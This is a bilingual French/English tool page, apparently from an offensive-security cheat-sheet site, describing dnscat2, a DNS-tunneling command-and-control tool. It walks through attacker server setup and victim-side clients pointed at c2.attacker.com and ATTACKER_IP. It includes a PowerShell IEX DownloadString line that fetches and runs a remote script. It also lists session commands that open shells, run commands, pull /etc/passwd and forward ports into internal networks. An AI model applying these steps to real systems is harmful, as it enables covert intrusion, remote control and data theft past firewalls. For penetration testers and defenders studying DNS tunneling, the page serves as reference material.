← retour aux outils back to tools

# dnscat2

Outil de C2 et de tunneling basé sur DNS. Crée un canal de commande et contrôle chiffré via DNS : utile quand toute autre sortie est bloquée mais que le DNS résout encore. DNS-based C2 and tunneling tool. Creates an encrypted command-and-control channel over DNS — useful when all other egress is blocked but DNS resolves.

↗ https://github.com/iagox86/dnscat2

## Overview

dnscat2 creates an encrypted C2 channel using DNS queries. When firewall rules block all outbound traffic except DNS, dnscat2 tunnels commands and data through DNS TXT/CNAME/MX records. It requires either a real domain with NS records pointing to the attacker, or direct UDP connections on port 53.

## Server Setup

    # Install on attacker machine
    git clone https://github.com/iagox86/dnscat2
    cd dnscat2/server
    gem install bundler
    bundle install

Start server with a domain (NS record mode — most reliable) Requires: NS record for c2.attacker.com pointing to attacker’s IP

    ruby dnscat2.rb c2.attacker.com

Direct UDP mode (no domain required — less reliable, client needs direct DNS access)

    ruby dnscat2.rb --dns host=0.0.0.0,port=53,type=TXT

With secret key (prevents unauthorized connections)

    ruby dnscat2.rb c2.attacker.com --secret=mysecretkey

## Client (Victim Side)

Linux client

    dnscat --dns domain=c2.attacker.com

With secret

    dnscat --dns domain=c2.attacker.com --secret=mysecretkey

Direct UDP mode (when you can reach the attacker’s DNS directly)

    dnscat --dns server=ATTACKER_IP,port=53,domain=c2.attacker.com

    # PowerShell client (Windows — no binary needed)
    # Invoke-PowerShellTcp from dnscat2/client/powershell/dnscat2.ps1
    IEX (New-Object Net.WebClient).DownloadString('http://attacker/dnscat2.ps1')
    Start-Dnscat2 -Domain c2.attacker.com -DNSServer ATTACKER_IP

## DNS Zone Setup (for NS record mode)

    # Add to DNS zone for attacker.com:
    # c2       IN  NS  ns1.attacker.com.
    # ns1      IN  A   ATTACKER_IP

Test DNS delegation is working:

    dig @8.8.8.8 test.c2.attacker.com

→ → Should show a response from dnscat2 server

## Server-Side Commands

    dnscat2> sessions           # List connected sessions
    dnscat2> session -i 1       # Interact with session 1
    dnscat2 (session 1)> shell  # Open a shell
    dnscat2 (session 1)> exec whoami  # Execute command
    dnscat2 (session 1)> download /etc/passwd /tmp/passwd  # Download file
    dnscat2 (session 1)> upload /local/file /remote/path   # Upload file
    dnscat2 (session 1)> listen 0.0.0.0:4444 10.10.10.5:445  # Port forward
    dnscat2 (session 1)> ping  # Check connection
    dnscat2 (session 1)> help  # Show available commands

## Port Forwarding (Tunneling)

Forward local port 4444 to internal target 10.10.10.5:445 via DNS tunnel

    dnscat2 (session 1)> listen 127.0.0.1:4444 10.10.10.5:445

Then connect to it locally

    smbclient -L //127.0.0.1 -p 4444 -U user

## Performance Notes

DNS tunneling is extremely slow — expect:

- Shell latency: 1-30 seconds per command
- Throughput: 1-10 KB/s
- Only use for command execution and small file transfers

## Tips

- DNS tunneling works even in heavily restricted networks as long as recursive DNS resolves
- The `--secret` option is critical — without it, anyone can connect to your server
- dnscat2 traffic looks like many DNS queries to unusual subdomains — easily detected with DNS monitoring
- For better performance when DNS isn’t the only option, prefer Chisel or ligolo-ng

Server commands reference

    sessions                    List all sessions
    session -i N                Interact with session N
    listen [local_addr:]port target_host:port  Port forward
    windows                     List windows (aliases for sessions)

    In session:
      shell                     Open command shell
      exec CMD                  Execute single command
      download REMOTE LOCAL     Download file
      upload LOCAL REMOTE       Upload file
      ping                      Test connectivity
      suspend                   Background session
      quit                      End session (kills implant)
      help                      Help

## Vue d’ensemble

dnscat2 crée un canal C2 chiffré en utilisant des requêtes DNS. Quand les règles de pare-feu bloquent tout le trafic sortant sauf le DNS, dnscat2 fait transiter les commandes et les données via des enregistrements DNS TXT/CNAME/MX. Il nécessite soit un vrai domaine avec des enregistrements NS pointant vers l’attaquant, soit des connexions UDP directes sur le port 53.

## Mise en place du serveur

    # Installer sur la machine attaquante
    git clone https://github.com/iagox86/dnscat2
    cd dnscat2/server
    gem install bundler
    bundle install

    # Démarrer le serveur avec un domaine (mode enregistrement NS, le plus fiable)
    # Nécessite : un enregistrement NS pour c2.attacker.com pointant vers l'IP de l'attaquant
    ruby dnscat2.rb c2.attacker.com

    # Mode UDP direct (aucun domaine requis, moins fiable, le client a besoin d'un accès DNS direct)
    ruby dnscat2.rb --dns host=0.0.0.0,port=53,type=TXT

    # Avec une clé secrète (empêche les connexions non autorisées)
    ruby dnscat2.rb c2.attacker.com --secret=mysecretkey

## Client (côté victime)

    # Client Linux
    dnscat --dns domain=c2.attacker.com

    # Avec le secret
    dnscat --dns domain=c2.attacker.com --secret=mysecretkey

    # Mode UDP direct (quand vous pouvez atteindre directement le DNS de l'attaquant)
    dnscat --dns server=ATTACKER_IP,port=53,domain=c2.attacker.com

    # Client PowerShell (Windows, aucun binaire nécessaire)
    # Invoke-PowerShellTcp depuis dnscat2/client/powershell/dnscat2.ps1
    IEX (New-Object Net.WebClient).DownloadString('http://attacker/dnscat2.ps1')
    Start-Dnscat2 -Domain c2.attacker.com -DNSServer ATTACKER_IP

## Configuration de la zone DNS (pour le mode enregistrement NS)

    # Ajouter à la zone DNS pour attacker.com :
    # c2       IN  NS  ns1.attacker.com.
    # ns1      IN  A   ATTACKER_IP

Tester que la délégation DNS fonctionne :

    dig @8.8.8.8 test.c2.attacker.com

→ Devrait afficher une réponse provenant du serveur dnscat2

## Commandes côté serveur

    dnscat2> sessions           # Lister les sessions connectées
    dnscat2> session -i 1       # Interagir avec la session 1
    dnscat2 (session 1)> shell  # Ouvrir un shell
    dnscat2 (session 1)> exec whoami  # Exécuter une commande
    dnscat2 (session 1)> download /etc/passwd /tmp/passwd  # Télécharger un fichier
    dnscat2 (session 1)> upload /local/file /remote/path   # Envoyer un fichier
    dnscat2 (session 1)> listen 0.0.0.0:4444 10.10.10.5:445  # Redirection de port
    dnscat2 (session 1)> ping  # Vérifier la connexion
    dnscat2 (session 1)> help  # Afficher les commandes disponibles

## Redirection de port (tunneling)

Rediriger le port local 4444 vers la cible interne 10.10.10.5:445 via le tunnel DNS

    dnscat2 (session 1)> listen 127.0.0.1:4444 10.10.10.5:445

Puis s’y connecter localement

    smbclient -L //127.0.0.1 -p 4444 -U user

## Remarques sur les performances

Le tunneling DNS est extrêmement lent, attendez-vous à :

- Une latence de shell de 1 à 30 secondes par commande
- Un débit de 1 à 10 Ko/s
- N’utiliser cela que pour l’exécution de commandes et de petits transferts de fichiers

## Conseils

- Le tunneling DNS fonctionne même dans des réseaux fortement restreints tant que la résolution DNS récursive fonctionne
- L’option `--secret` est critique : sans elle, n’importe qui peut se connecter à votre serveur
- Le trafic dnscat2 ressemble à de nombreuses requêtes DNS vers des sous-domaines inhabituels : facilement détectable avec une surveillance DNS
- Pour de meilleures performances quand le DNS n’est pas la seule option, préférez Chisel ou ligolo-ng

Référence des commandes serveur

    sessions                    List all sessions
    session -i N                Interact with session N
    listen [local_addr:]port target_host:port  Port forward
    windows                     List windows (aliases for sessions)

    In session:
      shell                     Open command shell
      exec CMD                  Execute single command
      download REMOTE LOCAL     Download file
      upload LOCAL REMOTE       Upload file
      ping                      Test connectivity
      suspend                   Background session
      quit                      End session (kills implant)
      help                      Help